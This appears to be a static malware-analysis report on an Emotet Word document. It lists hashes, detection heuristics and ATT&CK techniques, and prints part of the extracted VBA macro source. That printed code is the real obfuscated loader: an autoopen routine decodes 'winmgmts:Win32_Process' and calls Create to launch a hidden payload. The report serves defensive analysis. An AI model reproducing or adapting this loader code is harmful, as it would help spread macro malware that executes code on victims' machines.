Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f4fd7b640b54c674…

MALICIOUS

Office (OLE)

214.5 KB Created: 2019-09-24 22:42:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 34cd08445c3cdbfda42c3dfdb457c3d1 SHA-1: b31e684cd2bf7c7c1a4ed1f6e88697ce54e3997d SHA-256: f4fd7b640b54c67443f7a989c5a22085056e6c71e0aea42a18187e9090a733a2
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample exhibits critical heuristic firings for an obfuscated auto-exec VBA loader that uses CreateObject and execution tokens. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-7179537-0'. The VBA macro is heavily obfuscated, but the presence of CreateObject and autoopen suggests it attempts to download and execute a secondary payload, consistent with Emotet's behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7179537-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7179537-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10735 bytes
SHA-256: 4066c0bfae9683bc0ca238186eb1fd171cf2efde2bcfdb0c0c3a47363fc5006b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kc4z90"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "A7njquv, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Vripzzw, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Azi0ta, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Wzh9jn, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Xq7niw0, 4, 4, MSForms, TextBox"
Attribute VB_Control = "T5w5v0, 5, 5, MSForms, TextBox"
Attribute VB_Control = "M01o01, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Ttmhlz, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Bjwiuz0, 8, 8, MSForms, TextBox"
Attribute VB_Control = "R0q6ft, 9, 9, MSForms, TextBox"
Attribute VB_Control = "E07wdv, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Rsrpbio, 11, 11, MSForms, TextBox"
Attribute VB_Control = "Xwn18da7, 12, 12, MSForms, TextBox"
Attribute VB_Control = "Rruik5, 13, 13, MSForms, TextBox"
Attribute VB_Control = "Arvmkui, 14, 14, MSForms, TextBox"
Attribute VB_Control = "Aszd574, 15, 15, MSForms, TextBox"
Attribute VB_Control = "W4adc7, 16, 16, MSForms, TextBox"
Attribute VB_Control = "C36mpi, 17, 17, MSForms, TextBox"

Attribute VB_Name = "Tj6iom"
Private Const Wurhwj As String = "Tdqhhfc"
Private Const Eh98fnj9 As String = "Zmjn5v5f"
Private Const Z8kwww86 As String = "G5pcr5dn"
Private Const E9ikb5 As String = "Slcz9ji"
Private X9hfdc      As String
Private Hw8wzhjr      As Boolean
Private Tozkuzi      As Integer
Private How0w292      As String
Private Euvcah9t      As Boolean
Private Qv90qv      As Integer
Function Yarcrs5()
Dim QTWtZErDjdf58, yJmstOGACXJ25 As Integer
yJmstOGACXJ25 = 5997
For QTWtZErDjdf58 = 0 To 64
yJmstOGACXJ25 = yJmstOGACXJ25 + QTWtZErDjdf58
DoEvents
Next QTWtZErDjdf58
P47aubvn = T43okwjm(Kc4z90.Xwn18da7 + Kc4z90.M01o01)
Dim TUTNZOqqibr88, wCcSKltiMUl25 As Integer
wCcSKltiMUl25 = 8633
For TUTNZOqqibr88 = 0 To 41
wCcSKltiMUl25 = wCcSKltiMUl25 + TUTNZOqqibr88
DoEvents
Next TUTNZOqqibr88
Ioczucfr = CreateObject(T43okwjm("abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs")).Create(P47aubvn, Xikzu4al, Tmonjti, Quqj2l)
Dim FzYQrbbOQoH73, aupEPSOdlLq97 As Integer
aupEPSOdlLq97 = 6219
For FzYQrbbOQoH73 = 0 To 31
aupEPSOdlLq97 = aupEPSOdlLq97 + FzYQrbbOQoH73
DoEvents
Next FzYQrbbOQoH73
End Function
Function T43okwjm(Zfmz95q)
Dim ePXsrqBnovG11, krXkSxRRPYC67 As Integer
krXkSxRRPYC67 = 6824
For ePXsrqBnovG11 = 0 To 41
krXkSxRRPYC67 = krXkSxRRPYC67 + ePXsrqBnovG11
DoEvents
Next ePXsrqBnovG11
T43okwjm = Replace(Zfmz95q, Replace("ghuaswaghuaswbghuaswghuaswcghuaswsghuasw", "ghuasw", ""), "")
End Function


Attribute VB_Name = "Wcp3l5q"
Private Const Ejmi32 As String = "Hmszs2"
Private Const Okwwnum As String = "Wn8osf"
Private Const Za5b57tf As String = "Afvub1i1"
Private Const Ui7ulnvd As String = "Q7l1vr"
Private Gi5hitn      As String
Private Zc86svf      As Boolean
Private Kaqjbf      As Integer
Private Nttvwjfa      As String
Private Eh1c7zp      As Boolean
Private Ahfa71hn      As Integer
Sub autoopen()
Dim uOklhWQhYWy59, ZSAFuBaJITW86 As Integer
ZSAFuBaJITW86 = 3834
For uOklhWQhYWy59 = 0 To 72
ZSAFuBaJITW86 = ZSAFuBaJITW86 + uOklhWQhYWy59
DoEvents
Next uOklhWQhYWy59
Yarcrs5
End Sub
Function Tmonjti()
Dim nHawMATDJVP31, jVEmvqexVip47 As Integer
jVEmvqexVip47 = 3174
For nHawMATDJVP31 = 0 To 34
jVEmvqexVip47 = jVEmvqexVip47 + nHawMATDJVP31
DoEvents
Next nHawMATDJVP31
Ioczucfr$ = N3p7z1 + Uftrv0
Dim VcCvtrqAOfe57, smqENjBHQBO42 As Integer
smqENjBHQBO42 = 2331
For VcCvtrqAOfe57 = 0 To 47
smqENjBHQBO42 = smqENjBHQBO42 + VcCvtrqAOfe57
DoEvents
Next VcCvtrqAOfe57
Set Tmonjti = CreateObject(T43okwjm(Kc4z90.Wzh9jn))
Tmonjti.ShowWindow! = Ioczucfr
Dim BUmwdeMrtjM46, hLtFpdeLzbf64 As Integer
hLtFpdeLzbf64 = 8658
For BUmwdeMrtjM46 = 0 To 17
hLtFpdeLzbf64 = hLtFpdeLzbf64 + BUmwdeMrtjM46
DoEvents
Next BUmwdeMrtjM46
End Function

... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.